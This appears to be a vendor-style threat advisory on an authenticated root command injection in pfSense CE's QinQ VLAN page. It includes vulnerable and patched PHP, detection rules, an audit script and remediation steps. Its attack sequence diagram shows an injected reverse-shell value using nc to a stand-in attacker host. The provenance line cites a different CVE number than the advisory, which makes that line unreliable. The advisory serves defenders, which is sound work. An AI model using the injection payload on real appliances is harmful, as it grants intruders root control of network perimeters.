CVE-2026-111214: Netgate pfSense CE Authenticated Root OS Command Injection
Critical authenticated OS command injection vulnerability in Netgate pfSense Community Edition 2.7.0 through 2.9.0. Improper sanitization of 802.1ad QinQ VLAN parameters enables authenticated administrative users or attackers with stolen webGUI credentials to execute arbitrary root-level shell commands on the underlying FreeBSD operating system.
HERMES THREAT SCORE & PERIMETER SECURITY EVALUATION
Target:Netgate pfSense CE โ Network Interface Configuration Engine (interfaces_qinq_edit.php) While CVSS v3.1 assigns a base score of 8.8 (High) due to High Privileges Required (PR:H), the Hermes Threat Score elevates this advisory to 90 (HIGH). In modern enterprise and edge environments, pfSense appliances sit directly at network boundaries where compromised admin credentials (or chained post-authentication bypasses) yield root OS shell access, unencrypted packet eavesdropping, and cross-VLAN network pivot capabilities.
CVE-2026-111214: Netgate pfSense CE Authenticated Root OS Command InjectionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Netgate pfSense CE Firewall & VPN Appliance documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Executive Summary
Section titled โExecutive SummaryโOn October 16, 2026, security advisories revealed an operating system command injection vulnerability designated as CVE-2026-111214 affecting Netgate pfSense CE (Community Edition) versions 2.7.0 through 2.9.0. Located in the QinQ (IEEE 802.1ad VLAN stacking) interface management endpoint interfaces_qinq_edit.php, the vulnerability allows an authenticated operator with interface configuration rights to execute arbitrary commands with root privileges on the underlying FreeBSD host.
Because pfSense webGUI processes execute directly under the root context or invoke root-level administrative wrappers without shell sanitization, successful exploitation grants instantaneous, unrestricted control over the perimeter routing engine. Attackers can disable packet filtering rules, harvest cleartext traffic traversing VPN tunnels, extract cryptographic keys (OpenVPN, WireGuard, IPsec), and establish persistent covert command-and-control backdoors within the edge infrastructure.
Technical Vulnerability Mechanics
Section titled โTechnical Vulnerability MechanicsโRoot Cause Analysis: Unsanitized Shell String Concatenation in QinQ Provisioning
Section titled โRoot Cause Analysis: Unsanitized Shell String Concatenation in QinQ ProvisioningโQinQ (VLAN stacking, IEEE 802.1ad) allows nested tagging where an outer Service VLAN (S-tag) encapsulates inner Customer VLANs (C-tags). In pfSense CE, configuring QinQ interfaces via the web management interface dispatches user inputs from interfaces_qinq_edit.php to underlying system configuration scripts that invoke FreeBSDโs ifconfig utility via mwexec() or exec().
In vulnerable releases (pfSense CE 2.7.0 through 2.9.0), the tag and members fields submitted via HTTP POST are processed without wrapping input parameters with escapeshellarg():
flowchart TD subgraph Client["Authenticated Admin / Compromised Account"] Attacker["HTTP POST /interfaces_qinq_edit.php<br/>vlan_tag=100;id>/tmp/hermes.txt;#"] end
subgraph WebGUI["pfSense Web Application Server (nginx/lighttpd + PHP)"] FormHandler["interfaces_qinq_edit.php<br/>Validates form structure"] Attacker --> FormHandler FormHandler --> SysCall["interfaces_qinq_configure()<br/>Unsanitized parameter concatenation"] SysCall --> ShellSink{"mwexec('/sbin/ifconfig ' . $if . ' ... ' . $tag)"} end
subgraph FreeBSD["Underlying FreeBSD Host"] ShellSink -- "Root Command Execution" --> RootShell["/bin/sh spawned as UID 0 (root)"] RootShell --> Impact["Disables Firewall Filters / Drops Cron Backdoor / Dumps WireGuard Keys"] end
style ShellSink fill:#ff4d4d,stroke:#990000,color:#ffffff style RootShell fill:#ff1a1a,stroke:#800000,color:#ffffffVulnerable vs. Patched Source Code Comparison
Section titled โVulnerable vs. Patched Source Code ComparisonโDeconstruction of interfaces_qinq_edit.php and associated interface libraries highlights the missing escaping call in the shell string construction:
// VULNERABLE: pfSense CE 2.7.0 - 2.9.0 (interfaces_qinq_edit.php)if ($_POST['save']) { $vlan_tag = $_POST['tag']; $if_member = $_POST['members'];
// FLAW: $vlan_tag is validated for numeric syntax loosely or interpolated into system command $cmd = "/sbin/ifconfig qinq0 create tag " . $vlan_tag . " vlan " . $if_member; mwexec($cmd); // mwexec invokes /bin/sh -c $cmd without escaping!}
// PATCHED: pfSense CE 2.9.1 / pfSense Plus 24.11+if ($_POST['save']) { $vlan_tag = $_POST['tag']; $if_member = $_POST['members'];
// FIX: Strict integer casting and shell argument escaping if (!ctype_digit($vlan_tag) || (int)$vlan_tag < 1 || (int)$vlan_tag > 4094) { $input_errors[] = gettext("A valid 802.1ad QinQ tag (1-4094) must be specified."); } else { $safe_tag = escapeshellarg($vlan_tag); $safe_member = escapeshellarg($if_member); $cmd = "/sbin/ifconfig qinq0 create tag " . $safe_tag . " vlan " . $safe_member; mwexec($cmd); }}Threat Intelligence & Attack Vectors
Section titled โThreat Intelligence & Attack VectorsโChaining with Credential Theft & External Perimeter Exposure
Section titled โChaining with Credential Theft & External Perimeter ExposureโWhile CVE-2026-111214 requires authentication, multiple threat modeling conditions render this vulnerability severe in production deployments:
- Compromised Administrative Credentials: Web management interfaces unintentionally exposed to external interfaces (WAN) or public subnets allow attackers possessing default or leaked credentials to achieve immediate remote code execution.
- Credential Stuffing & Session Reuse: Attackers leveraging credentials exfiltrated from adjacent IT systems (such as corporate credential dumps or phishing campaigns) can directly turn web portal access into persistent network device implants.
- Internal Network Lateral Pivoting: An adversary who has gained a foothold on an internal corporate workstation can target the internal pfSense gateway management IP to gain control over the organizationโs gateway and perimeter firewalls.
sequenceDiagram autonumber actor Attacker as Threat Actor (Compromised Admin) participant WebGUI as pfSense WebGUI (interfaces_qinq_edit.php) participant OS as FreeBSD Kernel & /bin/sh participant Network as Internal Enterprise Subnets
Attacker->>WebGUI: POST /interfaces_qinq_edit.php (tag="100;nc -e /bin/sh attacker.io 4444;#") Note over WebGUI: Parameter unescaped in mwexec() WebGUI->>OS: /sbin/ifconfig qinq0 create tag 100; nc -e /bin/sh attacker.io 4444; # OS-->>Attacker: Interactive Reverse Root Shell (UID 0) Attacker->>OS: Extract /conf/config.xml (IPsec/OpenVPN/WireGuard PSKs) Attacker->>Network: Unrestricted Packet Sniffing & Inter-VLAN PivotForensic Investigation & Detection Engineering
Section titled โForensic Investigation & Detection EngineeringโWhen investigating potential exploitation of CVE-2026-111214 on pfSense appliances, incident response teams should inspect web server access logs, the system log daemon, and the FreeBSD process tree.
# Suricata Rule: Detect Command Injection in pfSense QinQ Configurationalert http $EXTERNAL_NET any -> $PFSENSE_MANAGEMENT $HTTP_PORTS ( msg:"HERMES - Netgate pfSense CE interfaces_qinq_edit.php Command Injection (CVE-2026-111214)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/interfaces_qinq_edit.php"; http.request_body; pcre:"/(tag|members)=[^&]*(;|||&|`|$()/i"; classtype:attempted-admin; sid:202611121; rev:1; metadata:cve CVE-2026-111214, affected_product Netgate_pfSense;)title: pfSense QinQ WebGUI Command Injection Attempt (CVE-2026-111214)id: 5a7c2b3e-1112-4f90-b12a-pfsenseqinqstatus: experimentaldescription: Detects command injection attempts targeting interfaces_qinq_edit.php in pfSense CE web interface.references: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111214author: Hermes Threat Intelligencedate: 2026/10/16logsource: category: webserverdetection: selection_endpoint: cs-method: 'POST' cs-uri-stem|endswith: '/interfaces_qinq_edit.php' selection_payload: cs-uri-query|contains: - ';' - '|' - "`" - '$(' - '%3B' - '%7C' - '%60' - '%24%28' condition: selection_endpoint and selection_payloadfields: - c-ip - cs-username - cs-uri-stemfalsepositives: - None expected. Interface tags must strictly be integer values.level: hightags: - attack.execution - attack.t1059.004 - attack.initial_access - attack.t1190 - cve.2026-111214#!/bin/sh# Hermes Forensic Audit Script for Netgate pfSense (FreeBSD)echo "=== Checking pfSense WebGUI Access Logs for interfaces_qinq_edit.php ==="grep -E "interfaces_qinq_edit\.php" /var/log/nginx.log /var/log/lighttpd.log 2>/dev/null || true
echo "=== Searching for shell metacharacters in system log (/var/log/system.log) ==="clog /var/log/system.log | grep -E "interfaces_qinq|ifconfig.*(;|\&|\||`|\$)" 2>/dev/null || true
echo "=== Inspecting running background processes spawned by www/root ==="ps auxwww | grep -E "(sh|bash|nc|curl|fetch|python)" | grep -v "grep"
echo "=== Verifying cron jobs for unauthorized persistence ==="cat /etc/crontab /var/cron/tabs/* 2>/dev/null || trueRemediation & Hardening Directives
Section titled โRemediation & Hardening Directivesโ-
Upgrade to pfSense CE 2.9.1 Immediately: Deploy the official Netgate security maintenance update (pfSense CE 2.9.1 or pfSense Plus 24.11+) via the System Update dashboard (
System > Update) or the console shell (pfSense-upgrade). -
Restrict WebGUI Exposure (Disable WAN Access): Ensure that the webGUI is strictly restricted to designated administrative VLANs or management networks. Never expose the web administrative port (TCP 443/80) to the WAN interface.
-
Enforce Multi-Factor Authentication & Granular RBAC: Configure Radius/LDAP with TOTP-based Multi-Factor Authentication for all administrative webGUI users. Restrict operator account privileges using pfSenseโs granular privilege system so that non-network engineering staff cannot access interface editing pages (
interfaces_*.php). -
Rotate VPN Shared Secrets and Certificates: If an appliance is suspected of having been compromised via CVE-2026-111214, assume the entire XML configuration file (
/conf/config.xml) has been exfiltrated. Immediately regenerate all OpenVPN, WireGuard, and IPsec preshared keys and certificates.